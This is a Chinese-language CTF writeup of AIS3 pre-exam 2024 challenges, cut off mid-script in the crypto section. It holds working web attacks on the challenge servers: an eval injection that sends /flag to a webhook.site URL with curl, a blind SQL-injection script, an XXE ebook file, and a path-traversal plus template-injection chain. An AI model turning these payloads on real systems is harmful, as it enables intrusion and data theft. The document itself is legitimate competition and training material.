# AIS3 pre exam 2024 - writeup
> Author:堇姬Naup
> Rank 4th

# Misc
## Welcome
`ctrl+c ctrl+v`
> AIS3{Welc0me_to_AIS3_PreExam_2o24!}
## Three Dimensional Secret
看封包然後這個看起來很像`3D GCode`,直接用線上工具化出來


> AIS3{b4d1y_tun3d_PriN73r}
## Quantum Nim Heist


這題我其實不知道怎麼做的,就亂按,choose那邊在第一次後,如果你不輸入任何東西,或是0 1 2也可以過(回去看了source code發現那邊少寫了else),之後就一直按enter,直到最後一顆,拿走就可以拿到flag

> AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
## Emoji Console
先用`cat *`來leak source code

```python=
import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/api')
def api():
command = request.args.get('command')
if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})
if __name__ == '__main__':
app.run('0.0.0.0',5000)
{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",#
"😗": ":*",#
"😙": ":*",#
"😚": ":*",#
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",#
"🤨": ":/",#
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",#
"😔": ":(",
"😕": ":/",#
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",#
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python", #
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"
}
```
`cat flag`知道flag是directory,要先cd進去

cd 進去後會看到一個python檔案,他會去read flag,執行他就可以讀出flag了(先用`;`分隔,再用`|`來讓後面會被執行,`p:`會被當指令,但會執行錯誤)

`cd flag;p:|cat *`

> AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
# Web
## Evil Calculator
### source code
```python=
from flask import Flask, request, jsonify, render_template
app = Flask(__name__)
@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run("0.0.0.0",5001)
```
### 解法
```
exec('import'+chr(32)+'os;os.system(\"curl'+chr(32)+'https://webhook.site/36d45c0b-dca1-4240-82be-a56d4356a978?a='+'$(cat'+chr(32)+'/flag)'+'\")')
```
基本上就是 `eval()` 可控,然後過濾掉`_`、` `,所以可以用exec bypass下底線,跟用chr(32) bypass掉空格。
然後就是先cat出flag,再用curl將資料送到webhook,就可以拿到flag了


> AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
## It's MyGO!!!!!
這題沒有source code,進去後會發現一個很明顯SQL injection的地方
`/song?id=`
但不能用`Union`之類的方法,但發現如果用boolean SQL injection來做可以透過回顯來leak`/flag`
如果猜的不對會回顯`No Data`

如過對了會正常回顯影片
```
/song?id=4 AND ASCII(SUBSTRING((SELECT LOAD_FILE('/flag')), {}, 1)) ={}--
```
### script
```python=
import requests
for i in range(1,400):
for j in range(1,300):
url = "http://chals1.ais3.org:11454/song?id=4%20AND%20ASCII(SUBSTRING((SELECT%20LOAD_FILE(%27/flag%27)),%20{},%201))%20={}--".format(i,j)
response = requests.get(url,timeout=10)
if "No Data" in response.text:
pass
else:
ascii_code = j
print(j)
```
讀出FLAG ASCII
```python=
numbers = [
65, 73, 83, 51, 123, 67, 82, 89, 67, 72, 73, 67, 95, 70, 117, 110, 101, 114, 97, 108, 95,
240, 159, 152, 173, 240, 159, 142, 184, 240, 159, 152, 173, 240, 159, 142, 184, 240, 159,
152, 173, 240, 159, 142, 164, 240, 159, 152, 173, 240, 159, 165, 129, 240, 159, 152, 184,
240, 159, 142, 184, 125
]
byte_data = bytes(numbers)
unicode_string = byte_data.decode('utf-8')
print(unicode_string)
```
轉unicode
~~所以我說為甚麼要演奏春日影~~
> AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}
## Ebook Parser
### source code
```python=
import tempfile
import pathlib
import secrets
from os import getenv, path
import ebookmeta
from flask import Flask, request, jsonify
from flask.helpers import send_from_directory
app = Flask(__name__, static_folder='static/')
app.config['JSON_AS_ASCII'] = False
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
@app.route('/', methods=["GET"])
def index():
return send_from_directory('static', 'index.html')
@app.route('/parse', methods=["POST"])
def upload():
if 'ebook' not in request.files:
return jsonify({'error': 'No File!'})
file = request.files['ebook']
with tempfile.TemporaryDirectory() as directory:
suffix = pathlib.Path(file.filename).suffix
fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}")
file.save(fp)
app.logger.info(fp)
try:
meta = ebookmeta.get_metadata(fp)
print(meta)
return jsonify({'message': "\n".join([
f"Title: {meta.title}",
f"Author: {meta.author_list_to_string()}",
f"Lang: {meta.lang}",
])})
except Exception as e:
print(e)
return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500
if __name__ == "__main__":
port = getenv("PORT", 8888)
app.run(host="0.0.0.0", port=port)
```
### 解法
`ebookmeta.get_metadata()`在解出資料時,會觸發xxe
xxe -> file:///flag
所以author會顯示出/flag的內容


說個趣聞:
https://github.com/dnkorpushov/ebookmeta/issues/16
### solve file
```xml=
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag">
]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>Science Fiction</genre>
<author>
<first-name>&xxe;</first-name>
<last-name>Doe</last-name>
</author>
<book-title>The Lost World</book-title>
<annotation>
<p>This is an example of a FictionBook XML document.</p>
</annotation>
<date>2024</date>
<lang>en</lang>
<coverpage>
<image l:href="cover.jpg" />
</coverpage>
</title-info>
<document-info>
<author>
<first-name></first-name>
<last-name>Doe</last-name>
</author>
<program-used>Calibre 5.0</program-used>
<date>2024-05-26</date>
<src-url>http://example.com</src-url>
<id>123456789</id>
<version>1.0</version>
</document-info>
</description>
<body>
<title>Chapter 1: The Beginning</title>
<section>
<title>Introduction</title>
<p>In the year 2050, humanity faced its greatest challenge...</p>
</section>
<section>
<title>The Discovery</title>
<p>It all started with a mysterious signal from deep space...</p>
</section>
<section>
<title>The Journey</title>
<p>A team of brave astronauts embarked on a perilous journey...</p>
</section>
</body>
</FictionBook>
```
## Capoost
### 第一步 LFI leak source code
個人覺得最複雜的一題,首先要發現LFI,來讓這題從黑箱變白箱
- Dockerfile
GET /template/read?name=capoo../../../Dockerfile
```dockerfile=
FROM golang:1.19 as builder
LABEL maintainer="Chumy"
RUN apt install make
COPY src /app
COPY Dockerfile-easy /app/Dockerfile
WORKDIR /app
RUN make clean && make && make readflag && \
mv bin/readflag /readflag && \
mv fl4g1337 /fl4g1337 && \
chown root:root /readflag && \
chmod 4555 /readflag && \
chown root:root /fl4g1337 && \
chmod 400 /fl4g1337 && \
touch .env && \
useradd -m -s /bin/bash app && \
chown -R app:app /app
USER app
ENTRYPOINT ["./bin/capoost"]
```
golang網站,那main應該是->main.go
- main.go
/template/read?name=capoo../../../main.go
```go=
package main
import (
// "net/http"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/go-errors/errors"
"capoost/router"
"capoost/utils/config"
// "capoost/utils/database"
"capoost/utils/errutil"
"capoost/middlewares/auth"
)
func main() {
if !config.Debug {
gin.SetMode(gin.ReleaseMode)
}
store := cookie.NewStore(config.Secret)
backend := gin.Default()
backend.Use(errorHandler)
backend.Use(gin.CustomRecovery(panicHandler))
backend.Use(sessions.Sessions(config.Sessionname, store))
backend.Use(auth.AddMeta)
router.Init(&backend.RouterGroup)
backend.Run(":"+string(config.Port))
}
func panicHandler(c *gin.Context, err any) {
goErr := errors.Wrap(err, 2)
//errmsg := ""
//if config.Debug {
errmsg := goErr.Error()
//}
errutil.AbortAndError(c, &errutil.Err{
Code: 500,
Msg: "Internal server error",
Data: errmsg,
})
}
func errorHandler(c *gin.Context) {
c.Next()
for _, e := range c.Errors {
err := e.Err
//errmsg := ""
//if config.Debug {
errmsg := err.Error()
//}
c.JSON(500, gin.H{
"code": 500,
"msg": "Internal server error",
"data": errmsg,
})
return
}
}
```
根據import開始leak所有檔案
- auth.go
name=capoo../../../middlewares/auth/auth.go
```go=
package auth
import (
// "fmt"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"capoost/utils/errutil"
"capoost/models/user"
)
func CheckSignIn(c *gin.Context) {
if isSignIn, exist := c.Get("isSignIn"); !exist || !isSignIn.(bool) {
errutil.AbortAndError(c, &errutil.Err{
Code: 401,
Msg: "You are not login.",
})
}
}
func CheckIsAdmin(c *gin.Context) {
if isAdmin, exist := c.Get("isAdmin"); !exist || !isAdmin.(bool) {
errutil.AbortAndError(c, &errutil.Err{
Code: 405,
Msg: "You are not admin.",
})
}
}
func CheckIsNotAdmin(c *gin.Context) {
if isAdmin, exist := c.Get("isAdmin"); !(!exist || !isAdmin.(bool)) {
errutil.AbortAndError(c, &errutil.Err{
Code: 405,
Msg: "This method is not available to admin.",
})
}
}
func AddMeta(c *gin.Context) {
session := sessions.Default(c)
username := session.Get("user")
if username == nil {
c.Set("isSignIn", false)
} else {
userdata, err := user.GetUser(username.(string))
c.Set("user", userdata)
if err != nil {
c.Set("isSignIn", false)
} else {
c.Set("isSignIn", true)
c.Set("isAdmin", userdata.ID == 1)
}
}
}
```
- post.go
?name=capoo../../../router/post/post.go
```go=
package post
import (
"path"
"strconv"
"text/template"
"os/exec"
"os"
"regexp"
"errors"
"bytes"
"strings"
"github.com/gin-gonic/gin"
"capoost/middlewares/auth"
"capoost/models/user"
"capoost/models/post"
"capoost/utils/errutil"
"capoost/utils/database"
)
type page struct {
Data string `json:"data"`
Count int `json:"count"`
Percent int `json:"percent"`
}
var router *gin.RouterGroup
func Init(r *gin.RouterGroup) {
router = r
router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}
func create(c *gin.Context) {
userdata, _ := c.Get("user")
postdata := post.Post{
Owner: userdata.(user.User),
}
err := c.ShouldBindJSON(&postdata)
if err != nil || postdata.Title == "" {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
postdata.Template = reg.ReplaceAllString(postdata.Template, "")
if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template)));
path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") ||
errors.Is(err, os.ErrNotExist) {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
postdata.Create()
c.String(200, "Post success")
}
func list(c *gin.Context) {
posts, err := post.GetAllPosts()
if err != nil {
panic(err)
}
c.JSON(200, posts)
}
func read(c *gin.Context) {
postid, err := strconv.Atoi(c.DefaultQuery("id", "0"))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
nowpost, err := post.GetPost(uint(postid))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
t := template.New(nowpost.Template)
if nowpost.Owner.ID == 1 {
t = t.Funcs(template.FuncMap{
"G1V3m34Fl4gpL34s3": readflag,
})
}
t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template)))
b := new(bytes.Buffer)
if err = t.Execute(b, nowpost.Data); err != nil {
panic(err)
}
nowpost.Count++
sum := 0
posts, _ := post.GetAllPosts()
for _, now := range posts {
if nowpost.ID == now.ID {
sum += nowpost.Count
} else {
sum += now.Count
}
}
var percent int
if sum != 0 {
percent = (nowpost.Count * 100) / sum
} else {
errutil.AbortAndError(c, &errutil.Err{
Code: 500,
Msg: "Sum of post count can't be 0",
})
}
if strings.Contains(b.String(), "AIS3") {
errutil.AbortAndError(c, &errutil.Err{
Code: 403,
Msg: "Flag deny",
})
}
nowpage := page{
Data: b.String(),
Count: nowpost.Count,
Percent: percent,
}
c.JSON(200, nowpage)
database.GetDB().Save(&nowpost)
}
func readflag() string {
out, _ := exec.Command("/readflag").Output()
return strings.Trim(string(out), " \n\t")
}
```
- template.go
?name=capoo../../../router/template/template.go
```go=
package template
import (
"os"
"path"
"regexp"
"github.com/gin-gonic/gin"
"capoost/middlewares/auth"
"capoost/utils/errutil"
)
var router *gin.RouterGroup
func init() {
os.MkdirAll("./template", os.ModePerm)
}
func Init(r *gin.RouterGroup) {
router = r
router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}
func upload(c *gin.Context) {
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
template := c.PostForm("template")
name := reg.ReplaceAllString(c.PostForm("name"), "")
f, err := os.Create(path.Clean(path.Join("./template", name)))
if err != nil {
panic(err)
}
_, err = f.WriteString(template)
if err != nil {
panic(err)
}
c.String(200, "Upload success")
}
func list(c *gin.Context) {
tmpls, err := os.ReadDir("./template")
if err != nil {
panic(err)
}
result := make([]string, len(tmpls))
for i, tmpl := range tmpls {
result[i] = tmpl.Name()
}
c.JSON(200, result)
}
func read(c *gin.Context) {
name := c.Query("name")
if name == "" {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Bad name",
})
return
}
tmpl, err := os.ReadFile(path.Join("./template", name))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Not exist",
})
return
}
c.Data(200, "text/plain", tmpl)
//c.File(path.Join("./template", name))
}
```
- user.go
capoo../../../models/user/user.go
```go=
package user
import (
"log"
"fmt"
"encoding/base64"
"crypto/rand"
"capoost/utils/database"
"capoost/utils/password"
)
type User struct {
ID uint `gorm:"primaryKey" json:"-"`
Username string `json:"username"`
Password password.Password `json:"password"`
}
func init() {
const adminname = "4dm1n1337"
database.GetDB().AutoMigrate(&User{})
if _, err := GetUser(adminname); err == nil {
return
}
buf := make([]byte, 12)
_, err := rand.Read(buf)
if err != nil {
log.Panicf("error while generating random string: %s", err)
}
User{
//ID: 1,
Username: adminname,
Password: password.New(base64.StdEncoding.EncodeToString(buf)),
}.Create()
}
func (a User) Equal(b User) bool {
return a.Username == b.Username && a.Password == b.Password
}
func (user User) Login() bool {
if user.Username == "" {
return false
}
if _, err := GetUser(user.Username); err == nil {
var loginuser User
result := database.GetDB().Where(&user).First(&loginuser)
return result.Error == nil
}
return user.Create() == nil
}
func GetUser(username string) (User, error) {
var loginuser User
result := database.GetDB().Where(&User{
Username: username,
}).First(&loginuser)
return loginuser, result.Error
}
func (user User) Create() error {
if user.Password == "" {
return fmt.Errorf("Password can't be empty in create")
}
result := database.GetDB().Model(&User{}).Create(&user)
return result.Error
}
```
以及登入的前端(不用LFI,F12直接看)
```javascript=
<script>
document.getElementById('loginForm').addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
let password = document.getElementById('password').value;
if (password === "") {
password = "empty"
}
fetch('/user/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
})
.then(response => {
if (response.status === 200) {
// Redirect to home page or show login success
window.location.href = '/';
} else {
// Show error message
alert('Login failed');
}
})
.catch(error => console.error('Error:', error));
});
</script>
```
基本上這些就夠了
### 第二步 分析source code+湊齊條件
你會發現可以注入模板,但是需要達成三個條件(post.go)

- 只有admin可以創建模板,所以要拿到admin,來注入模板
- 使用該模板創建貼文
- 該貼文的創建者是admin
另外可以觀察出來,如果輸入(一般使用者要登入,隨便輸入一組就會自己註冊了)
帳號: 4dm1n1337
密碼: 空白
就可以登入(這邊我用burpsuite抓下來送才過的了)

直接把session丟到網頁,然後重整就可以看到admin頁面了

另外還有個問題,使用模板這部分沒問題,那究竟該如何讓該貼文創建者是admin呢(admin沒辦法創建貼文,只有一般使用者可以創建貼文)
最核心的地方就是這段code了

如果我在貼文創建請求時,在原有的Json裡面塞入Owner:<名稱>,就可以任意的偽造該貼文的創建者了

這邊發現偽造成功

這樣子就湊齊條件了
### 第三部 製作模板
首先這題要透過執行模板來去讀取flag,這裡有看到一個函數
```go=
func readflag() string {
out, _ := exec.Command("/readflag").Output()
return strings.Trim(string(out), " \n\t")
}
```
這邊用readflag不行,要call `G1V3m34Fl4gpL34s3`

而`G1V3m34Fl4gpL34s3` -> readflag()
用
```
{{G1V3m34Fl4gpL34s3}}
```
就可以呼叫flag了,但是會遇到一個問題,就是它會過濾輸出包含`AIS3`
輸出有`AIS3`會回報403


我這邊想到的方法是把`AI`切掉輸出
所以我用
```
{{slice G1V3m34Fl4gpL34s3 2}}
```
### 最後一步 串起來
burpsuite抓登入 -> 修改admin密碼為空並送出 ->更改session後刷新拿到管理頁面 -> 注入模板 ->登出後隨便註冊一個新帳號 -> burpsuite抓創建貼文 -> 加入 `'Owner':'4dm1n1337'`偽造創建者為admin -> 點開該貼文即可看到flag



結論就是,這卡波笑得很邪惡
> AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}
# Crypto
## babyRSA
### source code
```python=
import random
from Crypto.Util.number import getPrime
from secret import flag
def gcd(a, b):
while b:
a, b = b, a % b
return a
def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)
e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
return ((e, n), (d, n))
def encrypt(pk, plaintext):
key, n = pk
cipher = [pow(ord(char), key, n) for char in plaintext]
return cipher
def decrypt(pk, ciphertext):
key, n = pk
plain = [chr(pow(char, key, n)) for char in ciphertext]
return ''.join(plain)
public, private = generate_keypair(512)#public=(e,n)
encrypted_msg = encrypt(public, flag)
decrypted_msg = decrypt(private, encrypted_msg)
print("Public Key:", public)
print("Encrypted:", encrypted_msg)
# print("Decrypted:", decrypted_msg)
```
### 解法
他是一個字元一個字元加密的,直接暴力搜尋就好了
```python=
n=
e=
c=
def encrypt(pk, char):
key, n = pk
cipher = pow(char, key, n)
return cipher
if __name__ == '__main__':
for i in c:
for j in range(256):
if encrypt((e,n), j) == i:
print(chr(j), end='')
```
> AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
## zkp
### source code
```python=
#!/bin/python3
import random
from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime, isPrime
import signal
def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)
def gen_prime(n):
while True:
p = 1
while p < (1 << (n - 1)) :
p *= getPrime(5)
p = p * 2 + 1
if isPrime(p): break
return p
def zkp_protocol(n, e, m):
# y = pow(e, m, p)
r = random.randrange(n-1)
a = pow(e, r, n)
print(f'a = {a}')
print('Give me the challenge')
try:
c = int(input('c = '))
w = (c * m + r) % (n-1)
print(f'w = {w}')
# you can verify I know the flag with
# g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p)
except:
print('Invalid input.')
if __name__ == "__main__":
alarm(300)
assert len(flag) == 60
n = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
# p is generated by gen_prime(1024)
e = 5
y = pow(e, bytes_to_long(flag), n)
print("""
******************************************************
Have you heard of Zero Knowledge Proof? I cannot give
you the flag, but I want to show you I know the flag.
So, let me show you with ZKP.
------------------------------------------------------
1) Printe public key.
2) Run ZKP protocol.
3) Bye~
******************************************************
""")
for _ in range(3):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f'p = {n}')
print(f'g = {e}')
print(f'y = {y}')
elif int(option) == 2:
zkp_protocol(n, e, bytes_to_long(flag))
else:
print("Bye~~~~~")
break
except:
print("Something wrong?")
exit()
```
### 解法
$e^{flag} \equiv n \pmod p$
如果輸入 `1`,那你就可以拿到$e, n ,p$,這是個離散對數問題,看一下$p$,發現他是個smooth,可以用`discrete_log()`這個函數
### script
```python=
from sympy.ntheory import discrete_log
from Crypto.Util.number import long_to_bytes
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
g = 5
y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341
flag = discrete_log(p, y, 5)
print(long_to_bytes(flag))
```
> AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}
## easyRSA
### source code
```python=
#!/bin/python3
import random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from hashlib import sha256
from base64 import b64encode, b64decode
from secret import flag
import signal
def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)
def gcd(a, b):
while b:
a, b = b, a % b
return a
def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)
e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
# for CRT optimize
dP = d % (p-1)
dQ = d % (q-1)
qInvP = pow(q, -1, p)
return ((e, n), (dP, dQ, qInvP, p, q))
def verify(pk, message: bytes, signature: bytes):
e, n = pk
data = bytes_to_long(sha256(message).digest())
return data == pow(bytes_to_long(signature), e, n)
bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)
if __name__ == "__main__":
alarm(300)
public, private = generate_keypair(512)
print("""
***********************************************************
Have you heard CRT optimization for RSA? I have implemented
a CRT-RSA signature. However, there are bugs in my code...
---------------------------------------------------------
1) Print public key.
2) Sign a message.
3) Give me flag?
4) Bye~
***********************************************************
""")
for _ in range(5):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f"e, n = {public}")
elif int(option) == 2:
message = input("Your message (In Base64 encoded): ")
message = b64decode(message.encode())
if b"flag" in message:
print(f"No, I cannot give you the flag!")
else:
signature = sign(private, message)
signature = b64encode(signature)
print(f"Signature: {signature}")
elif int(option) == 3:
signature = input("Your signature (In Base64 encoded): ")
signature = b64decode(signature.encode())
message = b64encode(b"Give me the flag!")
if verify(public, message, signature):
print(f"Well done! Here is your flag :{flag}")
else :
print("Invalid signature.")
else:
print("Bye~~~~~")
break
except Exception as e:
print(e)
print("Something wrong?")
exit()
```
### 解法
他有一個地方有bug,所以可以參考這個,來做RSA Fault Attack
https://asecuritysite.com/rsa/rsa_fault
這邊直接上script,跟著我的script的方法推一遍就可以解出來了
### script
```python=
from hashlib import sha256
from Crypto.Util.number import bytes_to_long, long_to_bytes
from base64 import b64decode, b64encode
import libnum
print("選1,拿到 e, N")
e = int(input('e: '))
N = int(input('N: '))
print("m='fake_message_to_leak_data'")
msg=b"fake_message_to_leak_data"
m_base64= b64encode(msg)
m= bytes_to_long(sha256(msg).digest())
print("m_base64 : ",m_base64)
